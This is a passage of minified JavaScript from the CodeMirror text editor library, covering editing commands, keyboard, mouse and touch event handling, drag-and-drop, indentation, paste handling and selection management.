e.deleteH(-1,"word")},delWordAfter:function(e){return e.deleteH(1,"word")},delGroupBefore:function(e){return e.deleteH(-1,"group")},delGroupAfter:function(e){return e.deleteH(1,"group")},indentAuto:function(e){return e.indentSelection("smart")},indentMore:function(e){return e.indentSelection("add")},indentLess:function(e){return e.indentSelection("subtract")},insertTab:function(e){return e.replaceSelection("\t")},insertSoftTab:function(e){for(var t=[],n=e.listSelections(),r=e.options.tabSize,i=0;i<n.length;i++){var o=n[i].from(),o=ue(e.getLine(o.line),o.ch,r);t.push(ye(r-o%r))}e.replaceSelections(t)},defaultTab:function(e){e.somethingSelected()?e.indentSelection("add"):e.execCommand("insertTab")},transposeChars:function(l){return h(l,function(){for(var e,t,n,r=l.listSelections(),i=[],o=0;o<r.length;o++)r[o].empty()&&(e=r[o].head,(t=A(l.doc,e.line).text)&&(0<(e=e.ch==t.length?new W(e.line,e.ch-1):e).ch?(e=new W(e.line,e.ch+1),l.replaceRange(t.charAt(e.ch-1)+t.charAt(e.ch-2),W(e.line,e.ch-2),e,"+transpose")):e.line>l.doc.first&&(n=A(l.doc,e.line-1).text)&&(e=new W(e.line,1),l.replaceRange(t.charAt(0)+l.doc.lineSeparator()+n.charAt(n.length-1),W(e.line-1,n.length-1),e,"+transpose"))),i.push(new R(e,e)));l.setSelections(i)})},newlineAndIndent:function(r){return h(r,function(){for(var e=(t=r.listSelections()).length-1;0<=e;e--)r.replaceRange(r.doc.lineSeparator(),t[e].anchor,t[e].head,"+input");for(var t=r.listSelections(),n=0;n<t.length;n++)r.indentLine(t[n].from().line,null,!0);Dr(r)})},openLine:function(e){return e.replaceSelection("\n","start")},toggleOverwrite:function(e){return e.toggleOverwrite()}};function Vo(e,t){var n=A(e.doc,t),r=Zt(n);return Bo(!0,e,r,t=r!=n?D(r):t,1)}function Ko(e,t){var n=Vo(e,t.line),r=A(e.doc,n.line),e=Re(r,e.doc.direction);return e&&0!=e[0].level?n:(e=Math.max(n.ch,r.text.search(/\S/)),r=t.line==n.line&&t.ch<=e&&t.ch,W(n.line,r?0:e,n.sticky))}function jo(e,t,n){if("string"==typeof t&&!(t=Uo[t]))return!1;e.display.input.ensurePolled();var r=e.display.shift,i=!1;try{e.isReadOnly()&&(e.state.suppressEdits=!0),n&&(e.display.shift=!1),i=t(e)!=de}finally{e.display.shift=r,e.state.suppressEdits=!1}return i}var Xo=new ce;function Yo(e,t,n,r){var i=e.state.keySeq;if(i){if(Ho(t))return"handled";if(/\'$/.test(t)?e.state.keySeq=null:Xo.set(50,function(){e.state.keySeq==i&&(e.state.keySeq=null,e.display.input.reset())}),_o(e,i+" "+t,n,r))return!0}return _o(e,t,n,r)}function _o(e,t,n,r){r=function(e,t,n){for(var r=0;r<e.state.keyMaps.length;r++){var i=Wo(t,e.state.keyMaps[r],n,e);if(i)return i}return e.options.extraKeys&&Wo(t,e.options.extraKeys,n,e)||Wo(t,e.options.keyMap,n,e)}(e,t,r);return"multi"==r&&(e.state.keySeq=t),"handled"==r&&b(e,"keyHandled",e,t,n),"handled"!=r&&"multi"!=r||(T(n),xr(e)),!!r}function $o(t,e){var n=Eo(e,!0);return!!n&&(e.shiftKey&&!t.state.keySeq?Yo(t,"Shift-"+n,e,function(e){return jo(t,e,!0)})||Yo(t,n,e,function(e){if("string"==typeof e?/^go[A-Z]/.test(e):e.motion)return jo(t,e)}):Yo(t,n,e,function(e){return jo(t,e)}))}var qo=null;function Zo(e){var t,n,r,i=this;function o(e){18!=e.keyCode&&e.altKey||(Q(r,"CodeMirror-crosshair"),k(document,"keyup",o),k(document,"mouseover",o))}e.target&&e.target!=i.display.input.getField()||(i.curOp.focus=ne(),O(i,e))||(w&&v<11&&27==e.keyCode&&(e.returnValue=!1),t=e.keyCode,i.display.shift=16==t||e.shiftKey,n=$o(i,e),U&&(qo=n?t:null,!n)&&88==t&&!tt&&(C?e.metaKey:e.ctrlKey)&&i.replaceSelection("",null,"cut"),G&&!C&&!n&&46==t&&e.shiftKey&&!e.ctrlKey&&document.execCommand&&document.execCommand("cut"),18!=t)||/\bCodeMirror-crosshair\b/.test(i.display.lineDiv.className)||(re(r=i.display.lineDiv,"CodeMirror-crosshair"),L(document,"keyup",o),L(document,"mouseover",o))}function Qo(e){16==e.keyCode&&(this.doc.sel.shift=!1),O(this,e)}function Jo(e){var t,n,r,i=this;e.target&&e.target!=i.display.input.getField()||Tn(i.display,e)||O(i,e)||e.ctrlKey&&!e.altKey||C&&e.metaKey||(n=e.keyCode,t=e.charCode,U&&n==qo?(qo=null,T(e)):U&&(!e.which||e.which<10)&&$o(i,e)||"\b"==(n=String.fromCharCode(null==t?n:t))||Yo(r=i,"'"+n+"'",e,function(e){return jo(r,e,!0)})||i.display.input.onKeyPress(e))}function el(e,t,n){this.time=e,this.pos=t,this.button=n}var tl,nl;function rl(e){var t,n,r,i,o,l,s,a,u,c=this,h=c.display;O(c,e)||h.activeTouch&&h.input.supportsTouch()||(h.input.ensurePolled(),h.shift=e.shiftKey,Tn(h,e)?x||(h.scroller.draggable=!1,setTimeout(function(){return h.scroller.draggable=!0},100)):ll(c,e)||(t=hr(c,e),n=$e(e),r=t?(i=t,o=n,r=+new Date,nl&&nl.compare(r,i,o)?(tl=nl=null,"triple"):tl&&tl.compare(r,i,o)?(nl=new el(r,i,o),tl=null,"double"):(tl=new el(r,i,o),nl=null,"single")):"single",window.focus(),1==n&&c.state.selectingText&&c.state.selectingText(e),t&&function(n,e,r,t,i){var o="Click";"double"==t?o="Double"+o:"triple"==t&&(o="Triple"+o);return Yo(n,Fo(o=(1==e?"Left":2==e?"Middle":"Right")+o,i),i,function(e){if(!(e="string"==typeof e?Uo[e]:e))return!1;var t=!1;try{n.isReadOnly()&&(n.state.suppressEdits=!0),t=e(n,r)!=de}finally{n.state.suppressEdits=!1}return t})}(c,n,t,r,e))||(1==n?t?(i=c,o=t,l=r,s=e,w?setTimeout(se(Cr,i),0):i.curOp.focus=ne(),a=function(e,t,n){var r=e.getOption("configureMouse"),r=r?r(e,t,n):{};{var i;null==r.unit&&(i=_?n.shiftKey&&n.metaKey:n.altKey,r.unit=i?"rectangle":"single"==t?"char":"double"==t?"word":"line")}null!=r.extend&&!e.doc.extend||(r.extend=e.doc.extend||n.shiftKey);null==r.addNew&&(r.addNew=C?n.metaKey:n.ctrlKey);null==r.moveOnDrag&&(r.moveOnDrag=!(C?n.altKey:n.ctrlKey));return r}(i,l,s),u=i.doc.sel,(i.options.dragDrop&&Qe&&!i.isReadOnly()&&"single"==l&&-1<(l=u.contains(o))&&(H((l=u.ranges[l]).from(),o)<0||0<o.xRel)&&(0<H(l.to(),o)||o.xRel<0)?function(t,n,r,i){var o=t.display,l=!1,s=P(t,function(e){x&&(o.scroller.draggable=!1),t.state.draggingText=!1,t.state.delayingBlurEvent&&(t.hasFocus()?t.state.delayingBlurEvent=!1:Sr(t)),k(o.wrapper.ownerDocument,"mouseup",s),k(o.wrapper.ownerDocument,"mousemove",a),k(o.scroller,"dragstart",u),k(o.scroller,"drop",s),l||(T(e),i.addNew||Pi(t.doc,r,null,null,i.extend),x&&!V||w&&9==v?setTimeout(function(){o.wrapper.ownerDocument.body.focus({preventScroll:!0}),o.input.focus()},20):o.input.focus())}),a=function(e){l=l||10<=Math.abs(n.clientX-e.clientX)+Math.abs(n.clientY-e.clientY)},u=function(){return l=!0};x&&(o.scroller.draggable=!0);(t.state.draggingText=s).copy=!i.moveOnDrag,L(o.wrapper.ownerDocument,"mouseup",s),L(o.wrapper.ownerDocument,"mousemove",a),L(o.scroller,"dragstart",u),L(o.scroller,"drop",s),t.state.delayingBlurEvent=!0,setTimeout(function(){return o.input.focus()},20),o.scroller.dragDrop&&o.scroller.dragDrop()}:function(d,e,f,p){w&&Sr(d);var l=d.display,g=d.doc;T(e);var m,v,y=g.sel,t=y.ranges;p.addNew&&!p.extend?(v=g.sel.contains(f),m=-1<v?t[v]:new R(f,f)):(m=g.sel.primary(),v=g.sel.primIndex);"rectangle"==p.unit?(p.addNew||(m=new R(f,f)),f=hr(d,e,!0,!0),v=-1):(e=il(d,f,p.unit),m=p.extend?Ei(m,e.anchor,e.head,p.extend):e);p.addNew?-1==v?(v=t.length,B(g,di(d,t.concat([m]),v),{scroll:!1,origin:"*mouse"})):1<t.length&&t[v].empty()&&"char"==p.unit&&!p.extend?(B(g,di(d,t.slice(0,v).concat(t.slice(v+1)),0),{scroll:!1,origin:"*mouse"}),y=g.sel):zi(g,v,m,pe):(B(g,new I([m],v=0),pe),y=g.sel);var b=f;function s(e){if(0!=H(b,e))if(b=e,"rectangle"==p.unit){for(var t=[],n=d.options.tabSize,r=ue(A(g,f.line).text,f.ch,n),i=ue(A(g,e.line).text,e.ch,n),o=Math.min(r,i),l=Math.max(r,i),s=Math.min(f.line,e.line),a=Math.min(d.lastLine(),Math.max(f.line,e.line));s<=a;s++){var u=A(g,s).text,c=me(u,o,n);o==l?t.push(new R(W(s,c),W(s,c))):u.length>c&&t.push(new R(W(s,c),W(s,me(u,l,n))))}t.length||t.push(new R(f,f)),B(g,di(d,y.ranges.slice(0,v).concat(t),v),{origin:"*mouse",scroll:!1}),d.scrollIntoView(e)}else{var h,r=m,i=il(d,e,p.unit),e=r.anchor,e=0<H(i.anchor,e)?(h=i.head,xt(r.from(),i.anchor)):(h=i.anchor,wt(r.to(),i.head)),r=y.ranges.slice(0);r[v]=function(e,t){var n=t.anchor,r=t.head,i=A(e.doc,n.line);if(0==H(n,r)&&n.sticky==r.sticky)return t;i=Re(i);if(!i)return t;var o=De(i,n.ch,n.sticky),l=i[o];if(l.from!=n.ch&&l.to!=n.ch)return t;var s=o+(l.from==n.ch==(1!=l.level)?0:1);if(0==s||s==i.length)return t;l=r.line!=n.line?0<(r.line-n.line)*("ltr"==e.doc.direction?1:-1):(e=De(i,r.ch,r.sticky),o=e-o||(r.ch-n.ch)*(1==l.level?-1:1),e==s-1||e==s?o<0:0<o);e=i[s+(l?-1:0)],o=l==(1==e.level),i=o?e.from:e.to,s=o?"after":"before";return n.ch==i&&n.sticky==s?t:new R(new W(n.line,i,s),r)}(d,new R(F(g,e),h)),B(g,di(d,r,v),pe)}}var a=l.wrapper.getBoundingClientRect(),u=0;function n(e){d.state.selectingText=!1,u=1/0,e&&(T(e),l.input.focus()),k(l.wrapper.ownerDocument,"mousemove",r),k(l.wrapper.ownerDocument,"mouseup",i),g.history.lastSelOrigin=null}var r=P(d,function(e){(0!==e.buttons&&$e(e)?function e(t){var n,r,i=++u,o=hr(d,t,!0,"rectangle"==p.unit);o&&(0!=H(o,b)?(d.curOp.focus=ne(),s(o),n=Nr(l,g),(o.line>=n.to||o.line<n.from)&&setTimeout(P(d,function(){u==i&&e(t)}),150)):(r=t.clientY<a.top?-20:t.clientY>a.bottom?20:0)&&setTimeout(P(d,function(){u==i&&(l.scroller.scrollTop+=r,e(t))}),50))}:n)(e)}),i=P(d,n);d.state.selectingText=i,L(l.wrapper.ownerDocument,"mousemove",r),L(l.wrapper.ownerDocument,"mouseup",i)})(i,s,o,a)):_e(e)==h.scroller&&T(e):2==n?(t&&Pi(c.doc,t),setTimeout(function(){return h.input.focus()},20)):3==n&&(q?c.display.input.onContextMenu(e):Sr(c))))}function il(e,t,n){return"char"==n?new R(t,t):"word"==n?e.findWordAt(t):"line"==n?new R(W(t.line,0),F(e.doc,W(t.line+1,0))):(n=n(e,t),new R(n.from,n.to))}function ol(e,t,n,r){var i,o;if(t.touches)i=t.touches[0].clientX,o=t.touches[0].clientY;else try{i=t.clientX,o=t.clientY}catch(e){return!1}if(i>=Math.floor(e.display.gutters.getBoundingClientRect().right))return!1;r&&T(t);var l=e.display,r=l.lineDiv.getBoundingClientRect();if(o>r.bottom||!Ve(e,n))return Xe(t);o-=r.top-l.viewOffset;for(var s=0;s<e.display.gutterSpecs.length;++s){var a=l.gutters.childNodes[s];if(a&&a.getBoundingClientRect().right>=i)return N(e,n,e,gt(e.doc,o),e.display.gutterSpecs[s].className,t),Xe(t)}}function ll(e,t){return ol(e,t,"gutterClick",!0)}function sl(e,t){var n,r;Tn(e.display,t)||(r=t,Ve(n=e,"gutterContextMenu")&&ol(n,r,"gutterContextMenu",!1))||(O(e,t,"contextmenu")||q||e.display.input.onContextMenu(t))}function al(e){e.display.wrapper.className=e.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+e.options.theme.replace(/(^|\s)\s*/g," cm-s-"),Vn(e)}el.prototype.compare=function(e,t,n){return this.time+400>e&&0==H(t,this.pos)&&n==this.button};var ul={toString:function(){return"CodeMirror.Init"}},cl={},hl={};function dl(e,t,n){!t!=!(n&&n!=ul)&&(n=e.display.dragFunctions,(t=t?L:k)(e.display.scroller,"dragstart",n.start),t(e.display.scroller,"dragenter",n.enter),t(e.display.scroller,"dragover",n.over),t(e.display.scroller,"dragleave",n.leave),t(e.display.scroller,"drop",n.drop))}function fl(e){e.options.lineWrapping?(re(e.display.wrapper,"CodeMirror-wrap"),e.display.sizer.style.minWidth="",e.display.sizerWidth=null):(Q(e.display.wrapper,"CodeMirror-wrap"),rn(e)),cr(e),E(e),Vn(e),setTimeout(function(){return Gr(e)},100)}function m(e,t){var n=this;if(!(this instanceof m))return new m(e,t);this.options=t=t?ae(t):{},ae(cl,t,!1);var r,i=t.value,o=("string"==typeof i?i=new p(i,t.mode,null,t.lineSeparator,t.direction):t.mode&&(i.modeOption=t.mode),this.doc=i,new m.inputStyles[t.inputStyle](this)),e=this.display=new si(e,i,o,t),l=(al(e.wrapper.CodeMirror=this),t.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap"),Kr(this),this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,delayingBlurEvent:!1,focused:!1,suppressEdits:!1,pasteIncoming:-1,cutIncoming:-1,selectingText:!1,draggingText:!1,highlight:new ce,keySeq:null,specialChars:null},t.autofocus&&!Y&&e.input.focus(),w&&v<11&&setTimeout(function(){return n.display.input.reset(!0)},20),this),s=l.display;L(s.scroller,"mousedown",P(l,rl)),L(s.scroller,"dblclick",w&&v<11?P(l,function(e){var t;O(l,e)||!(t=hr(l,e))||ll(l,e)||Tn(l.display,e)||(T(e),e=l.findWordAt(t),Pi(l.doc,e.anchor,e.head))}):function(e){return O(l,e)||T(e)}),L(s.scroller,"contextmenu",function(e){return sl(l,e)}),L(s.input.getField(),"contextmenu",function(e){s.scroller.contains(e.target)||sl(l,e)});var a,u={end:0};function c(){s.activeTouch&&(a=setTimeout(function(){return s.activeTouch=null},1e3),(u=s.activeTouch).end=+new Date)}function h(e,t){var n;return null==t.left||400<(n=t.left-e.left)*n+(n=t.top-e.top)*n}L(s.scroller,"touchstart",function(e){var t;O(l,e)||function(e){if(1==e.touches.length)return(e=e.touches[0]).radiusX<=1&&e.radiusY<=1}(e)||ll(l,e)||(s.input.ensurePolled(),clearTimeout(a),t=+new Date,s.activeTouch={start:t,moved:!1,prev:t-u.end<=300?u:null},1==e.touches.length&&(s.activeTouch.left=e.touches[0].pageX,s.activeTouch.top=e.touches[0].pageY))}),L(s.scroller,"touchmove",function(){s.activeTouch&&(s.activeTouch.moved=!0)}),L(s.scroller,"touchend",function(e){var t,n=s.activeTouch;n&&!Tn(s,e)&&null!=n.left&&!n.moved&&new Date-n.start<300&&(t=l.coordsChar(s.activeTouch,"page"),n=!n.prev||h(n,n.prev)?new R(t,t):!n.prev.prev||h(n,n.prev.prev)?l.findWordAt(t):new R(W(t.line,0),F(l.doc,W(t.line+1,0))),l.setSelection(n.anchor,n.head),l.focus(),T(e)),c()}),L(s.scroller,"touchcancel",c),L(s.scroller,"scroll",function(){s.scroller.clientHeight&&(Er(l,s.scroller.scrollTop),Ir(l,s.scroller.scrollLeft,!0),N(l,"scroll",l))}),L(s.scroller,"mousewheel",function(e){return hi(l,e)}),L(s.scroller,"DOMMouseScroll",function(e){return hi(l,e)}),L(s.wrapper,"scroll",function(){return s.wrapper.scrollTop=s.wrapper.scrollLeft=0}),s.dragFunctions={enter:function(e){O(l,e)||Ye(e)},over:function(e){var t,n;O(l,e)||((n=hr(t=l,n=e))&&(br(t,n,n=document.createDocumentFragment()),t.display.dragCursor||(t.display.dragCursor=M("div",null,"CodeMirror-cursors CodeMirror-dragcursors"),t.display.lineSpace.insertBefore(t.display.dragCursor,t.display.cursorDiv)),y(t.display.dragCursor,n)),Ye(e))},start:function(e){var t,n;t=l,e=e,w&&(!t.state.draggingText||+new Date-yo<100)?Ye(e):O(t,e)||Tn(t.display,e)||(e.dataTransfer.setData("Text",t.getSelection()),e.dataTransfer.effectAllowed="copyMove",e.dataTransfer.setDragImage&&!V&&((n=M("img",null,null,"position: fixed; left: 0; top: 0;")).src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==",U&&(n.width=n.height=1,t.display.wrapper.appendChild(n),n._top=n.offsetTop),e.dataTransfer.setDragImage(n,0,0),U)&&n.parentNode.removeChild(n))},drop:P(l,bo),leave:function(e){O(l,e)||wo(l)}};o=s.input.getField();for(r in L(o,"keyup",function(e){return Qo.call(l,e)}),L(o,"keydown",P(l,Zo)),L(o,"keypress",P(l,Jo)),L(o,"focus",function(e){return Lr(l,e)}),L(o,"blur",function(e){return kr(l,e)}),So(),Xr(this),this.curOp.forceUpdate=!0,Si(this,i),t.autofocus&&!Y||this.hasFocus()?setTimeout(function(){n.hasFocus()&&!n.state.focused&&Lr(n)},20):kr(this),hl)hl.hasOwnProperty(r)&&hl[r](this,t[r],ul);ri(this),t.finishInit&&t.finishInit(this);for(var d=0;d<pl.length;++d)pl[d](this);Yr(this),x&&t.lineWrapping&&"optimizelegibility"==getComputedStyle(e.lineDiv).textRendering&&(e.lineDiv.style.textRendering="auto")}m.defaults=cl,m.optionHandlers=hl;var pl=[];function gl(e,t,n,r){var i,o=e.doc,l=("smart"==(n=null==n?"add":n)&&(o.mode.indent?i=Nt(e,t).state:n="prev"),e.options.tabSize),s=A(o,t),a=ue(s.text,null,l),u=(s.stateAfter&&(s.stateAfter=null),s.text.match(/^\s*/)[0]);if(r||/\S/.test(s.text)){if("smart"==n&&((c=o.mode.indent(i,s.text.slice(u.length),s.text))==de||150<c)){if(!r)return;n="prev"}}else c=0,n="not";"prev"==n?c=t>o.first?ue(A(o,t-1).text,null,l):0:"add"==n?c=a+e.options.indentUnit:"subtract"==n?c=a-e.options.indentUnit:"number"==typeof n&&(c=a+n);var c=Math.max(0,c),h="",d=0;if(e.options.indentWithTabs)for(var f=Math.floor(c/l);f;--f)d+=l,h+="\t";if(d<c&&(h+=ye(c-d)),h!=u)return to(o,h,W(t,0),W(t,u.length),"+input"),!(s.stateAfter=null);for(var p=0;p<o.sel.ranges.length;p++){var g=o.sel.ranges[p];if(g.head.line==t&&g.head.ch<u.length){g=W(t,u.length);zi(o,p,new R(g,g));break}}}m.defineInitHook=function(e){return pl.push(e)};var ml=null;function vl(e){ml=e}function yl(e,t,n,r,i){var o=e.doc,l=(e.display.shift=!1,r=r||o.sel,+new Date-200),s="paste"==i||e.state.pasteIncoming>l,a=Je(t),u=null;if(s&&1<r.ranges.length)if(ml&&ml.text.join("\n")==t){if(r.ranges.length%ml.text.length==0)for(var u=[],c=0;c<ml.text.length;c++)u.push(o.splitLines(ml.text[c]))}else a.length==r.ranges.length&&e.options.pasteLinesPerSelection&&(u=be(a,function(e){return[e]}));for(var h=e.curOp.updateInput,d=r.ranges.length-1;0<=d;d--){var f=r.ranges[d],p=f.from(),g=f.to(),f=(f.empty()&&(n&&0<n?p=W(p.line,p.ch-n):e.state.overwrite&&!s?g=W(g.line,Math.min(A(o,g.line).text.length,g.ch+z(a).length)):s&&ml&&ml.lineWise&&ml.text.join("\n")==a.join("\n")&&(p=g=W(p.line,0))),{from:p,to:g,text:u?u[d%u.length]:a,origin:i||(s?"paste":e.state.cutIncoming>l?"cut":"+input")});qi(e.doc,f),b(e,"inputRead",e,f)}t&&!s&&wl(e,t),Dr(e),e.curOp.updateInput<2&&(e.curOp.updateInput=h),e.curOp.typing=!0,e.state.pasteIncoming=e.state.cutIncoming=-1}function bl(e,t){var n=e.clipboardData&&e.clipboardData.getData("Text");return n&&(e.preventDefault(),t.isReadOnly()||t.options.disableInput||h(t,function(){return yl(t,n,0,null,"paste")}),1)}function wl(e,t){if(e.options.electricChars&&e.options.smartIndent)for(var n=e.doc.sel,r=n.ranges.length-1;0<=r;r--){var i=n.ranges[r];if(!(100<i.head.ch||r&&n.ranges[r-1].head.line==i.head.line)){var o=e.getModeAt(i.head),l=!1;if(o.electricChars){for(var s=0;s<o.electricChars.length;s++)if(-1<t.indexOf(o.electricChars.charAt(s))){l=gl(e,i.head.line,"smart");break}}else o.electricInput&&o.electricInput.test(A(e.doc,i.head.line).text.slice(0,i.head.ch))&&(l=gl(e,i.head.line,"smart"));l&&b(e,"electricInput",e,i.head.line)}}}function xl(e){for(var t=[],n=[],r=0;r<e.doc.sel.ranges.length;r++){var i=e.doc.sel.ranges[r].head.line,i={anchor:W(i,0),head:W(i+1,0)};n.push(i),t.push(e.getRange(i.anchor,i.head))}return{text:t,ranges:n}}function Cl(e,t,n,r){e.setAttribute("autocorrect",n?"":"off"),e.setAttribute("autocapitalize",r?"":"off"),e.setAttribute("spellcheck",!!t)}function Sl(){var e=M("textarea",null,null,"position: absolute; bottom: -1em; padding: 0; width: 1px; height: 1em; outline: none"),t=M("div",[e],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");return x?e.style.width="1000px":e.setAttribute("wrap","off"),j&&(e.style.border="1px solid black"),Cl(e),t}function Ll(n,r,i,o,l){var e=r,t=i,s=A(n,r.line),a=l&&"rtl"==n.direction?-i:i;function u(e){var t;if(null==(t="codepoint"==o?(t=s.text.charCodeAt(r.ch+(0<o?0:-1)),isNaN(t)?null:new W(r.line,Math.max(0,Math.min(s.text.length,r.ch+i*(55296<=t&&t<56320?2:1))),-i)):l?Go(n.cm,s,r,i):Ro(s,r,i))){if(e||(e=r.line+a)<n.first||e>=n.first+n.size||(r=new W(e,r.ch,r.sticky),!(s=A(n,e))))return;r=Bo(l,n.cm,s,r.line,a)}else r=t;return 1}if("char"==o||"codepoint"==o)u();else if("column"==o)u(!0);else if("word"==o||"group"==o)for(var c=null,h="group"==o,d=n.cm&&n.cm.getHelper(r,"wordChars"),f=!0;!(i<0)||u(!f);f=!1){var p=s.text.charAt(r.ch)||"\n",p=Le(p,d)?"w":h&&"\n"==p?"n":!h||/\s/.test(p)?null:"p";if(h&&!f&&(p=p||"s"),c&&c!=p){i<0&&(i=1,u(),r.sticky="after");break}if(p&&(c=p),0<i&&!u(!f))break}t=Xi(n,r,e,t,!0);return yt(e,t)&&(t.hitSide=!0),t}function kl(e,t,n,r){var i,o,l,s=e.doc,a=t.left;for("page"==r?(i=Math.min(e.display.wrapper.clientHeight,window.innerHeight||document.documentElement.clientHeight),i=Math.max(i-.5*or(e.display),3),o=(0<n?t.bottom:t.top)+n*i):"line"==r&&(o=0<n?t.bottom+3:t.top-3);(l=Jn(e,a,o)).outside;){if(n<0?o<=0:o>=s.height){l.hitSide=!0;break}o+=5*n}return l}function i(e){this.cm=e,this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null,this.polling=new ce,this.composing=null,this.gracePeriod=!1,this.readDOMTimeout=null}function Tl(e,t){var n,r,i=En(e,t.line);return!i||i.hidden?null:(n=Hn(i,i=A(e.doc,t.line),t.line),r="left",(i=Re(i,e.doc.direction))&&(r=De(i,t.ch)%2?"right":"left"),(e=Bn(n.map,t.ch,r)).offset="right"==e.collapse?e.end:e.start,e)}function Ml(e,t){return t&&(e.bad=!0),e}function Nl(e,t,n){var r;if(t==e.display.lineDiv){if(!(r=e.display.lineDiv.childNodes[n]))return Ml(e.clipPos(W(e.display.viewTo-1)),!0);t=null,n=0}else for(r=t;;r=r.parentNode){if(!r||r==e.display.lineDiv)return null;if(r.parentNode&&r.parentNode==e.display.lineDiv)break}for(var i=0;i<e.display.view.length;i++){var o=e.display.view[i];if(o.node==r){var u=o,o=t,l=n,s=u.text.firstChild,a=!1;if(!o||!te(s,o))return Ml(W(D(u.line),0),!0);if(o==s)if(a=!0,o=s.childNodes[l],l=0,!o)return Ml(W(D(c=u.rest?z(u.rest):u.line),c.text.length),a);var c=3==o.nodeType?o:null,h=o;for(c||1!=o.childNodes.length||3!=o.firstChild.nodeType||(c=o.firstChild,l=l&&c.nodeValue.length);h.parentNode!=s;)h=h.parentNode;var d=u.measure,f=d.maps;function p(e,t,n){for(var r=-1;r<(f?f.length:0);r++)for(var i=r<0?d.map:f[r],o=0;o<i.length;o+=3){var l,s,a=i[o+2];if(a==e||a==t)return l=D(r<0?u.line:u.rest[r]),s=i[o]+n,W(l,s=n<0||a!=e?i[o+(n?1:0)]:s)}}var g=p(c,h,l);if(g)return Ml(g,a);for(var m=h.nextSibling,v=c?c.nodeValue.length-l:0;m;m=m.nextSibling){if(g=p(m,m.firstChild,0))return Ml(W(g.line,g.ch-v),a);v+=m.textContent.length}for(var y=h.previousSibling,b=l;y;y=y.previousSibling){if(g=p(y,y.firstChild,-1))return Ml(W(g.line,g.ch+b),a);b+=y.textContent.length}return}}}i.prototype.init=function(e){var t=this,o=this,l=o.cm,s=o.div=e.lineDiv;function a(e){for(var t=e.target;t;t=t.parentNode){if(t==s)return 1;if(/\bCodeMirror-(?:line)?widget\b/.test(t.className))break}}function n(e){if(a(e)&&!O(l,e)){if(l.somethingSelected())vl({lineWise:!1,text:l.getSelections()}),"cut"==e.type&&l.replaceSelection("",null,"cut");else{if(!l.options.lineWiseCopyCut)return;var t=xl(l);vl({lineWise:!0,text:t.text}),"cut"==e.type&&l.operation(function(){l.setSelections(t.ranges,0,fe),l.replaceSelection("",null,"cut")})}if(e.clipboardData){e.clipboardData.clearData();var n=ml.text.join("\n");if(e.clipboardData.setData("Text",n),e.clipboardData.getData("Text")==n)return void e.preventDefault()}var r=Sl(),n=r.firstChild,i=(l.display.lineSpace.insertBefore(r,l.display.lineSpace.firstChild),n.value=ml.text.join("\n"),document.activeElement);le(n),setTimeout(function(){l.display.lineSpace.removeChild(r),i.focus(),i==s&&o.showPrimarySelection()},50)}}Cl(s,l.options.spellcheck,l.options.autocorrect,l.options.autocapitalize),L(s,"paste",function(e){!a(e)||O(l,e)||bl(e,l)||v<=11&&setTimeout(P(l,function(){return t.updateFromDOM()}),20)}),L(s,"compositionstart",function(e){t.composing={data:e.data,done:!1}}),L(s,"compositionupdate",function(e){t.composing||(t.composing={data:e.data,done:!1})}),L(s,"compositionend",function(e){t.composing&&(e.data!=t.composing.data&&t.readFromDOMSoon(),t.composing.done=!0)}),L(s,"touchstart",function(){return o.forceCompositionEnd()}),L(s,"input",function(){t.composing||t.readFromDOMSoon()}),L(s,"copy",n),L(s,"cut",n)},i.prototype.screenReaderLabelChanged=function(e){e?this.div.setAttribute("aria-label",e):this.div.removeAttribute("aria-label")},i.prototype.prepareSelection=function(){var e=yr(this.cm,!1);return e.focus=document.activeElement==this.div,e},i.prototype.showSelection=function(e,t){e&&this.cm.display.view.length&&((e.focus||t)&&this.showPrimarySelection(),this.showMultipleSelections(e))},i.prototype.getSelection=function(){return this.cm.display.wrapper.ownerDocument.getSelection()},i.prototype.showPrimarySelection=function(){var e=this.getSelection(),t=this.cm,n=t.doc.sel.primary(),r=n.from(),n=n.to();if(t.display.viewTo==t.display.viewFrom||r.line>=t.display.viewTo||n.line<t.display.viewFrom)e.removeAllRanges();else{var i=Nl(t,e.anchorNode,e.anchorOffset),o=Nl(t,e.focusNode,e.focusOffset);if(!i||i.bad||!o||o.bad||0!=H(xt(i,o),r)||0!=H(wt(i,o),n)){var i=t.display.view,o=r.line>=t.display.viewFrom&&Tl(t,r)||{node:i[0].measure.map[2],offset:0},r=n.line<t.display.viewTo&&Tl(t,n);if(r||(r={node:(i=(n=i[i.length-1].measure).maps?n.maps[n.maps.length-1]:n.map)[i.length-1],offset:i[i.length-2]-i[i.length-3]}),o&&r){var l,n=e.rangeCount&&e.getRangeAt(0);try{l=oe(o.node,o.offset,r.offset,r.node)}catch(e){}l&&(!G&&t.state.focused&&(e.collapse(o.node,o.offset),l.collapsed)||(e.removeAllRanges(),e.addRange(l)),n&&null==e.anchorNode?e.addRange(n):G&&this.startGracePeriod()),this.rememberSelection()}else e.removeAllRanges()}}},i.prototype.startGracePeriod=function(){var e=this;clearTimeout(this.gracePeriod),this.gracePeriod=setTimeout(function(){e.gracePeriod=!1,e.selectionChanged()&&e.cm.operation(function(){return e.cm.curOp.selectionChanged=!0})},20)},i.prototype.showMultipleSelections=function(e){y(this.cm.display.cursorDiv,e.cursors),y(this.cm.display.selectionDiv,e.selection)},i.prototype.rememberSelection=function(){var e=this.getSelection();this.lastAnchorNode=e.anchorNode,this.lastAnchorOffset=e.anchorOffset,this.lastFocusNode=e.focusNode,this.lastFocusOffset=e.focusOffset},i.prototype.selectionInEditor=function(){var e=this.getSelection();return!!e.rangeCount&&(e=e.getRangeAt(0).commonAncestorContainer,te(this.div,e))},i.prototype.focus=function(){"nocursor"!=this.cm.options.readOnly&&(this.selectionInEditor()&&document.activeElement==this.div||this.showSelection(this.prepareSelection(),!0),this.div.focus())},i.prototype.blur=function(){this.div.blur()},i.prototype.getField=function(){return this.div},i.prototype.supportsTouch=function(){return!0},i.prototype.receivedFocus=function(){var t=this;this.selectionInEditor()?this.pollSelection():h(this.cm,function(){return t.cm.curOp.selectionChanged=!0}),this.polling.set(this.cm.options.pollInterval,function e(){t.cm.state.focused&&(t.pollSelection(),t.polling.set(t.cm.options.pollInterval,e))})},i.prototype.selectionChanged=function(){var e=this.getSelection();return 